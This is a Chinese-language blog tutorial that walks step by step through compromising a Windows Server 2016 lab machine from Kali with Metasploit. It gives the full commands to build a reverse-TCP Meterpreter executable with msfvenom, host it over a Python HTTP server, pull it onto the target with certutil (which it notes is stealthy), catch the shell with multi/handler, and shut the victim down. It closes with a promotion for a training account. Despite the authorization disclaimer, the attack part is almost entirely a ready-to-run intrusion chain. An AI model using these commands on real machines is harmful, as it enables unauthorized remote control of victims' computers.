kali利用msf渗透windows电脑(超详细),这一篇就够了
💖 温馨提示:有个事儿得先说清楚,这篇文章讲的东西,都得在你自个儿有权掌控的设备上、在拿到许可的前提下搞,要是没授权就去碰人家的系统,那可就触犯法律了。
一、为什么要学习Metasploit?
那么,花时间去钻研 Metasploit 究竟有何价值,
对于那些志在网络安全领域深耕的人而言,这套工具框架几乎成了一种必备的素养,其根本逻辑在于,构筑坚固防线的先决条件,是对攻击者的手法有足够透彻的认知。
1.1 安全从业者的必备技能
Metasploit 这个框架,它能让你直观地看到一个漏洞被实际利用后,会引发何等严重的后果,同时也能充当试金石,检验你部署的安全方案究竟有多大能耐,
更深层次的,则是通过复现完整的攻击链路,让人明白该从哪些环节着手去巩固防御。
1.2 本文学习目标
依循本文的指引,在许可范围内动手实践一番之后,你应该能对 Metasploit 框架的入门操作有个谱,也能弄明白所谓的 反向连接 到底是怎么回事,并且学会在一个合规的环境里,去评估既有的安全防护措施是否到位。
💖 温馨提示:建议在隔离的虚拟环境中进行所有实验。
二、MSF渗透实验
本文以 Kali Linux 为操作环境,实操演示用 MSF 框架的 msfvenom 生成 Windows 反向 TCP 木马、搭建 HTTP 服务供靶机下载,再通过 msfconsole 监听上线,最终获取靶机命令行并执行关机操作的完整流程,步骤清晰且附关键操作命令与效果截图。
msfvenom:是一个Metasploit(MSF)的一个木马生成工具,可嵌套其他exe应用程序
Metasploit(MSF):网络安全知名的一个专业渗透测试框架,包含msfvenom,msfconsole等工具
实验环境:
攻击机:kali,IP:10.10.10.128
靶机(受害者):windows server 2016,IP:10.10.10.0/24(和kali同一网段即可,任意ip皆可)
相关文章推荐:
kali的安装:往期推荐
windows server 2016的安装:往期推荐
2.1 打开kali终端
这里选择的是红色的 Root Terminal Emulator 这个终端就是最高权限用户root的终端

提示需要输入kali的密码(默认为kali)

这样就会打开一个最高权限用户root的终端(使用root终端的好处,就是很方便,但也很危险,切记不要乱执行rm -rf *)

2.2 创建反向监听器
我们需要打开msf,直到出现如下界面
msfconsole

在msfconsole中执行如下命令
use exploit/multi/handler # 主要作用是接收来自目标主机的反向连接(如反向 Shell)
set payload windows/meterpreter/reverse_tcp # 刚刚生成木马的模块
set lhost 10.10.10.128 # 设置反向连接的IP地址,也就是kali的IP地址
set lport 4444 # 设置反向连接的端口(kali的端口)
run # 启动监听模块

2.3(攻击机)生成木马
接下来用 msfvenom 生成一个 Windows 能运行的木马,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.10.128 lport=4444 -f exe -o ./1.exe # 怎么样才是生成成功
python -m http.server & # 需要将刚刚生成的 1.exe 上传到windows机器上,这里表示在当前目录/data/demo下,启动http服务,提供木马1.exe的下载功能

这条命令用于生成 Windows 系统下的反向 TCP 连接木马也就是1.exe,参数解析如下:
msfvenom:Metasploit 框架的木马生成工具
-p windows/meterpreter/reverse_tcp:指定 payload(攻击载荷),这里是 Windows 系统的 meterpreter 反向 TCP 连接(被控端主动连主动主动连接控制端)
lhost=10.10.10.128:设置控制端 IP(即攻击者主机 IP)
lport=4444:设置控制端监听端口(需与后续监听命令的端口一致)
-f exe:指定生成文件格式为 exe 可执行文件
-o ./1.exe:设置输出路径和文件名(当前目录下生成 1.exe)
2.4(目标机)下载木马
方法一:命令下载
首先,在桌面,按住shift+鼠标右键,即可出现在此处打开命令行窗口

这时候,windows终端cmd的当前路径就是桌面了

使用如下命令下载,因为我的桌面上已经有了一个1.exe,所以我输出的文件名为2.exe,此处仅演示从攻击机kali中下载木马的步骤
certutil -urlcache -split -f http://10.10.10.128:8000/1.exe 2.exe

命令解释:
certutil 是 Windows 自带的工具,不用额外装,适合隐蔽下载;http://Kali的IP:8000/1.exe 就是我们刚搭的 HTTP 服务地址;最后存成 2.exe
方法二:直接下载
打开谷歌浏览器,输入10.10.10.128:8000,找到你要下载的应用程序,下载下来就好了

2.5 攻击机上线
双击木马之后,就能上线msf,切换到刚刚创建反向监听器的终端

meterpreter > shell whoami # 输入shell whoami,进入受害者的cmd并查看当前用户
此时目标靶机已经成功上线,可以看到有很多的乱码

输入如下命令就能更改反弹过来的shell的编码为中文
chcp 65001 # 设置编码为中文
dir # 查看计算机有什么文件,可以看到已经变成了中文,没有乱码了

开始关机
shutdown -s -t 10
shutdown -s -t 10 是 Windows 系统中用于设置定时关机的命令,各参数含义:
shutdown:系统关机命令的主程序-s:指定操作类型为关机(若替换为-r则变为重启)-t 10:设置倒计时时间,单位为秒,这里表示 10 秒后执行关机
如图,它显示的是一分钟后关闭,实际上我们设置的是10s后关机,这里只是显示问题,无伤大雅

完成关机,渗透完成,同时也可以对其摄像头等等进行操作,在以后的文章会详细的讲

三、总结
核心流程:Kali 中用msfvenom生成1.exe木马→启 HTTP 服务(python -m http.server)供靶机下载→msfconsole配置multi/handler监听→靶机用certutil下载并运行木马→成功上线后通过shell进入命令行,执行shutdown -s -t 10完成关机。
关键操作:生成木马需匹配监听的 payload 与 IP 端口;靶机下载用系统自带certutil无需额外工具;中文乱码可通过chcp 65001解决,确保命令行正常交互。
四、🎯 网络安全学习资源推荐
觉得文章对你有帮助?想获取更多实战干货?
我们为你准备了一套 「从零到一的网络安全学习资料包」,包括:
-
🔥 红队攻防实战手册 - 内网渗透、漏洞利用、权限提升
-
📚 网络安全学习路线图 - 零基础入门到就业完整路径
-
💼 最新网络安全面试题 - 大厂真题+面试技巧
-
🛠️ 渗透测试工具包 - 常用工具+使用教程
-
🎯 靶场搭建全套方案 - DVWA、SQLi-Labs等实战环境
如何获取?
-
微信搜索公众号:
[智榜样网络安全学习中心] -
关注后添加老师微信
-
即可免费领取全套学习资料
💡 适合人群:网络安全初学者、转行人员、在校学生、想要提升实战能力的从业者
我们在网络安全培训领域深耕多年,专注红蓝对抗实战与就业指导,帮助数百名学员成功入行
更多推荐



所有评论(0)